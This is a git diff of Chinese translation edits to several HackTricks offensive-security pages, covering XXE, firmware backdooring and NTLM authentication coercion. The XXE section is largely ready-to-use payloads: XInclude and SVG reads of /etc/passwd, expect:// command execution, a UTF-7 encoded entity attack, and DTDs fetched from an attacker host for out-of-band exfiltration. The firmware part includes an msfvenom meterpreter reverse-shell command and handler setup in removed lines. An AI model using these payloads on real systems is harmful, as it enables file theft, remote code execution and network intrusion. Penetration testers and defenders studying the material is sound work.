在这种情况下,你无法执行经典的XXE攻击,因为**你无法控制整个XML**文档,因此无法定义或修改`DOCTYPE`元素。然而,你可能可以使用`XInclude`来代替。`XInclude`是XML规范的一部分,它允许一个XML文档由子文档构建。你可以在XML文档中任何数据值中放置一个`XInclude`攻击,因此在你只控制被放入服务器端XML文档的单个数据项的情况下,也可以执行攻击。
|
||||||
|
|
||||||
要执行`XInclude`攻击,你需要引用`XInclude`命名空间并提供你希望包含的文件的路径。例如:
|
要执行一个`XInclude`攻击,你需要引用`XInclude`命名空间并提供你希望包含的文件的路径。例如:
|
||||||
```markup
|
```markup
|
||||||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||||||
```
|
```
|
||||||
|
@ -412,13 +394,13 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||||
|
|
||||||
[从这里开始。](https://portswigger.net/web-security/xxe)
|
[从这里开始。](https://portswigger.net/web-security/xxe)
|
||||||
|
|
||||||
一些应用程序允许用户上传文件,然后在服务器端处理这些文件。一些常见的文件格式使用XML或包含XML子组件。XML基础格式的例子包括办公文档格式如DOCX和图像格式如SVG。
|
一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用XML或包含XML子组件。XML基于格式的例子包括办公文档格式如DOCX和图像格式如SVG。
|
||||||
|
|
||||||
例如,一个应用程序可能允许用户**上传图像**,并在上传后在服务器上处理或验证这些图像。即使应用程序期望接收像PNG或JPEG这样的格式,**正在使用的图像处理库可能支持SVG图像**。由于SVG格式使用XML,攻击者可以提交恶意SVG图像,因此触及XXE漏洞的隐藏攻击面。
|
例如,一个应用程序可能允许用户**上传图像**,并在上传后在服务器上处理或验证这些图像。即使应用程序期望接收像PNG或JPEG这样的格式,**正在使用的图像处理库可能支持SVG图像**。由于SVG格式使用XML,攻击者可以提交恶意的SVG图像,因此触达XXE漏洞的隐藏攻击面。
|
||||||
```markup
|
```markup
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||||||
```
|
```
|
||||||
你也可以尝试使用 PHP "expect" 包装器来**执行命令**:
|
你也可以尝试使用 PHP 的 "expect" 包装器来**执行命令**:
|
||||||
```markup
|
```markup
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||||||
<image xlink:href="expect://ls"></image>
|
<image xlink:href="expect://ls"></image>
|
||||||
|
@ -434,9 +416,9 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
|
||||||
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Content-Type: 从x-www-urlencoded到XML
|
### Content-Type: 从x-www-urlencoded转换为XML
|
||||||
|
|
||||||
如果一个POST请求接受XML格式的数据,您可以尝试在该请求中利用XXE。例如,如果一个正常请求包含以下内容:
|
如果一个POST请求接受XML格式的数据,您可以尝试在该请求中利用XXE。例如,如果一个正常的请求包含以下内容:
|
||||||
```markup
|
```markup
|
||||||
POST /action HTTP/1.0
|
POST /action HTTP/1.0
|
||||||
Content-Type: application/x-www-form-urlencoded
|
Content-Type: application/x-www-form-urlencoded
|
||||||
|
@ -494,7 +476,7 @@ Content-Type: application/xml;charset=UTF-8
|
||||||
|
|
||||||
### UTF-7
|
### UTF-7
|
||||||
|
|
||||||
您可以使用cyberchef的\[**"Encode Recipe**"在此处](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7%2865000%29'%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)进行UTF-7转换。
|
您可以使用cyberchef的\[**"编码食谱"**] \(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) 转换为UTF-7。
|
||||||
```markup
|
```markup
|
||||||
<!xml version="1.0" encoding="UTF-7"?-->
|
<!xml version="1.0" encoding="UTF-7"?-->
|
||||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||||
|
@ -515,8 +497,8 @@ Content-Type: application/xml;charset=UTF-8
|
||||||
### HTML 实体
|
### HTML 实体
|
||||||
|
|
||||||
来自 [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) 的技巧\
|
来自 [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes) 的技巧\
|
||||||
你可以通过使用 **html 实体** 编码来创建一个**实体内的实体**,然后调用它来**加载 dtd**。\
|
你可以通过使用 **HTML 实体** 编码来创建一个**实体内的实体**,然后调用它来**加载 dtd**。\
|
||||||
注意,使用的 **HTML 实体** 需要是**数字型**的(如\[在此示例中]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C))。
|
注意使用的 **HTML 实体** 需要是**数字型**的(如\[在此示例中]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric%20entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C))。
|
||||||
```markup
|
```markup
|
||||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||||
<data>
|
<data>
|
||||||
|
@ -560,10 +542,10 @@ DTD 示例:
|
||||||
```
|
```
|
||||||
## XLIFF - XXE
|
## XLIFF - XXE
|
||||||
|
|
||||||
此部分摘自 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\
|
本节摘自 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\
|
||||||
根据 [Wikipedia](https://en.wikipedia.org/wiki/XLIFF) 的说法:
|
根据 [维基百科](https://en.wikipedia.org/wiki/XLIFF) 的说法:
|
||||||
|
|
||||||
> XLIFF(XML 本地化交换文件格式)是一个基于 XML 的双语文本格式,旨在标准化本地化过程中工具之间以及工具之间传递可本地化数据的方式,并且是 CAT 工具交换的通用格式。
|
> XLIFF(XML 本地化交换文件格式)是一个基于 XML 的双语文本格式,旨在标准化在本地化过程中以及在 CAT 工具交换中传递可本地化数据的方式。
|
||||||
|
|
||||||
### 盲目请求
|
### 盲目请求
|
||||||
```markup
|
```markup
|
||||||
|
@ -583,7 +565,7 @@ Content-Type: application/x-xliff+xml
|
||||||
```
|
```
|
||||||
但我们在 Burp Collaborator 上得到了回应。
|
但我们在 Burp Collaborator 上得到了回应。
|
||||||
|
|
||||||
### 通过带外传输数据
|
### 通过带外传输泄露数据
|
||||||
```markup
|
```markup
|
||||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||||
|
@ -617,17 +599,15 @@ DTD 文件:
|
||||||
%foo;
|
%foo;
|
||||||
%xxe;
|
%xxe;
|
||||||
```
|
```
|
||||||
```markdown
|
And the content of the file was successfully **printed in the output of the error sent via HTTP**.
|
||||||
文件的内容已成功**通过HTTP发送的错误输出中打印出来**。
|
|
||||||
|
|
||||||
## RSS - XEE
|
## RSS - XEE
|
||||||
|
|
||||||
利用XXE漏洞的有效XML与RSS格式。
|
有效的 XML 与 RSS 格式来利用 XXE 漏洞。
|
||||||
|
|
||||||
### Ping back
|
### Ping back
|
||||||
|
|
||||||
向攻击者服务器发送简单的HTTP请求
|
简单的 HTTP 请求到攻击者服务器
|
||||||
```
|
|
||||||
```markup
|
```markup
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||||
|
@ -669,7 +649,7 @@ DTD 文件:
|
||||||
</channel>
|
</channel>
|
||||||
</rss>
|
</rss>
|
||||||
```
|
```
|
||||||
### 读取源代码
|
### 阅读源代码
|
||||||
|
|
||||||
使用 PHP base64 过滤器
|
使用 PHP base64 过滤器
|
||||||
```markup
|
```markup
|
||||||
|
@ -778,7 +758,7 @@ XMLDecoder 是一个 Java 类,它根据 XML 消息创建对象。如果恶意
|
||||||
其他支持HackTricks的方式:
|
其他支持HackTricks的方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||||
|
|
|
@ -1,62 +1,58 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击直到成为英雄!</strong></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
# 固件完整性
|
||||||
|
|
||||||
### 本页面内容复制自 [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
**可以上传自定义固件和/或编译后的二进制文件来利用完整性或签名验证漏洞**。可以按照以下步骤进行后门绑定 shell 编译:
|
||||||
|
|
||||||
尝试**上传自定义固件和/或编译后的二进制文件**,检查完整性或签名验证漏洞。例如,使用以下步骤编译一个在启动时运行的后门绑定shell。
|
1. 可以使用 firmware-mod-kit (FMK) 提取固件。
|
||||||
|
2. 应识别目标固件架构和字节序。
|
||||||
|
3. 可以使用 Buildroot 或其他适合的方法为环境构建交叉编译器。
|
||||||
|
4. 可以使用交叉编译器构建后门。
|
||||||
|
5. 可以将后门复制到提取的固件 /usr/bin 目录。
|
||||||
|
6. 可以将适当的 QEMU 二进制文件复制到提取的固件 rootfs。
|
||||||
|
7. 可以使用 chroot 和 QEMU 模拟后门。
|
||||||
|
8. 可以通过 netcat 访问后门。
|
||||||
|
9. 应从提取的固件 rootfs 中移除 QEMU 二进制文件。
|
||||||
|
10. 可以使用 FMK 重新打包修改后的固件。
|
||||||
|
11. 可以通过使用固件分析工具包 (FAT) 模拟后门固件并使用 netcat 连接到目标后门 IP 和端口来测试后门固件。
|
||||||
|
|
||||||
1. 使用固件修改工具包(FMK)提取固件
|
如果已经通过动态分析、引导程序操作或硬件安全测试获得了 root shell,则可以执行预编译的恶意二进制文件,如植入物或反向 shell。可以使用以下步骤利用 Metasploit 框架和 'msfvenom' 等自动化 payload/植入工具:
|
||||||
2. 确定目标固件的架构和字节序
|
|
||||||
3. 使用Buildroot构建交叉编译器或使用适合您环境的其他方法
|
|
||||||
4. 使用交叉编译器构建后门
|
|
||||||
5. 将后门复制到提取的固件的/usr/bin目录
|
|
||||||
6. 将适当的QEMU二进制文件复制到提取的固件rootfs
|
|
||||||
7. 使用chroot和QEMU模拟后门
|
|
||||||
8. 使用netcat连接到后门
|
|
||||||
9. 从提取的固件rootfs中移除QEMU二进制文件
|
|
||||||
10. 使用FMK重新打包修改后的固件
|
|
||||||
11. 通过使用固件分析工具包(FAT)模拟后门固件并使用netcat连接到目标后门IP和端口来测试后门固件
|
|
||||||
|
|
||||||
如果已经通过动态分析、引导程序操作或硬件安全测试等手段获得了root shell,尝试执行预编译的恶意二进制文件,如植入物或反向shell。考虑使用用于命令和控制(C&C)框架的自动化payload/植入工具。例如,可以使用Metasploit框架和'msfvenom',按照以下步骤操作。
|
1. 应识别目标固件架构和字节序。
|
||||||
|
2. Msfvenom 可用于指定目标 payload、攻击者主机 IP、监听端口号、文件类型、架构、平台和输出文件。
|
||||||
|
3. 可以将 payload 传输到受损设备,并确保它具有执行权限。
|
||||||
|
4. Metasploit 可以通过启动 msfconsole 并根据 payload 配置设置来准备处理传入请求。
|
||||||
|
5. 可以在受损设备上执行 meterpreter 反向 shell。
|
||||||
|
6. 可以监控 meterpreter 会话的开启情况。
|
||||||
|
7. 可以执行后期利用活动。
|
||||||
|
|
||||||
1. 确定目标固件的架构和字节序
|
如果可能,可以利用启动脚本中的漏洞来获得对设备的持久访问权限,跨重启。当启动脚本引用、[符号链接](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data)或依赖于位于不受信任的挂载位置(如用于存储根文件系统之外数据的 SD 卡和闪存卷)中的代码时,就会出现这些漏洞。
|
||||||
2. 使用`msfvenom`指定适当的目标payload (-p),攻击者主机IP (LHOST=),监听端口号 (LPORT=),文件类型 (-f),架构 (--arch),平台 (--platform linux或windows),以及输出文件 (-o)。例如,`msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linux`
|
|
||||||
3. 将payload传输到被攻陷的设备(例如,运行一个本地web服务器并使用wget/curl将payload下载到文件系统),并确保payload具有执行权限
|
|
||||||
4. 准备Metasploit来处理传入请求。例如,使用msfconsole启动Metasploit,并根据上述payload设置以下参数:使用exploit/multi/handler,
|
|
||||||
* `set payload linux/armle/meterpreter_reverse_tcp`
|
|
||||||
* `set LHOST 192.168.1.245 #攻击者主机IP`
|
|
||||||
* `set LPORT 445 #可以是任何未使用的端口`
|
|
||||||
* `set ExitOnSession false`
|
|
||||||
* `exploit -j -z`
|
|
||||||
5. 在被攻陷的设备上执行meterpreter反向🐚
|
|
||||||
6. 观察meterpreter会话开启
|
|
||||||
7. 进行后期利用活动
|
|
||||||
|
|
||||||
如果可能的话,识别启动脚本中的漏洞,以在设备重启后获得持久访问权限。当启动脚本引用、[符号链接](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data)或依赖于位于不受信任的挂载位置(如用于存储根文件系统之外数据的SD卡和闪存卷)中的代码时,就会出现此类漏洞。
|
|
||||||
|
|
||||||
|
# 参考资料
|
||||||
|
* 欲了解更多信息,请查看 [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击直到成为英雄!</strong></summary>
|
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||||
|
|
||||||
支持HackTricks的其他方式:
|
支持 HackTricks 的其他方式:
|
||||||
|
|
||||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,143 +1,115 @@
|
||||||
# 强制使用NTLM特权身份验证
|
# 强制 NTLM 特权认证
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 你在**网络安全公司**工作吗?你想在**HackTricks**中看到你的**公司广告**吗?或者你想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**推特**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧。**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## SharpSystemTriggers
|
## SharpSystemTriggers
|
||||||
|
|
||||||
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers)是一个使用MIDL编译器编写的C#代码的**远程身份验证触发器集合**,用于避免第三方依赖。
|
[**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) 是一个用C#编写的**远程认证触发器集合**,使用MIDL编译器以避免第三方依赖。
|
||||||
|
|
||||||
## Spooler服务滥用
|
## 打印机服务滥用
|
||||||
|
|
||||||
如果启用了_**打印池**_服务,您可以使用一些已知的AD凭据向域控制器的打印服务器**请求**更新新的打印作业,并告诉它**将通知发送到某个系统**。\
|
如果_**打印机服务**_已**启用**,你可以使用一些已知的AD凭据向域控制器的打印服务器**请求**新打印作业的**更新**,并告诉它将通知**发送到某个系统**。\
|
||||||
请注意,当打印机向任意系统发送通知时,它需要对该系统进行**身份验证**。因此,攻击者可以使_**打印池**_服务对任意系统进行身份验证,并且该服务将在此身份验证中使用计算机帐户。
|
注意,当打印机向任意系统发送通知时,它需要对该**系统**进行**认证**。因此,攻击者可以使_**打印机服务**_对任意系统进行认证,服务将在此认证中**使用计算机账户**。
|
||||||
|
|
||||||
### 在域上查找Windows服务器
|
### 在域上查找Windows服务器
|
||||||
|
|
||||||
使用PowerShell获取Windows服务器列表。通常情况下,服务器是优先级较高的,所以我们将重点关注这些服务器:
|
使用PowerShell,获取Windows机器列表。服务器通常是优先考虑的,所以我们先关注这里:
|
||||||
```bash
|
```bash
|
||||||
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
|
||||||
```
|
```
|
||||||
### 寻找正在监听的打印池服务
|
### 查找正在监听的Spooler服务
|
||||||
|
|
||||||
使用稍作修改的 @mysmartlogin(Vincent Le Toux)的 [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket),查看打印池服务是否正在监听:
|
使用稍作修改的@mysmartlogin(Vincent Le Toux)的[SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket),查看Spooler服务是否在监听:
|
||||||
```bash
|
```bash
|
||||||
. .\Get-SpoolStatus.ps1
|
. .\Get-SpoolStatus.ps1
|
||||||
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
|
||||||
```
|
```
|
||||||
您还可以在Linux上使用rpcdump.py,并查找MS-RPRN协议。
|
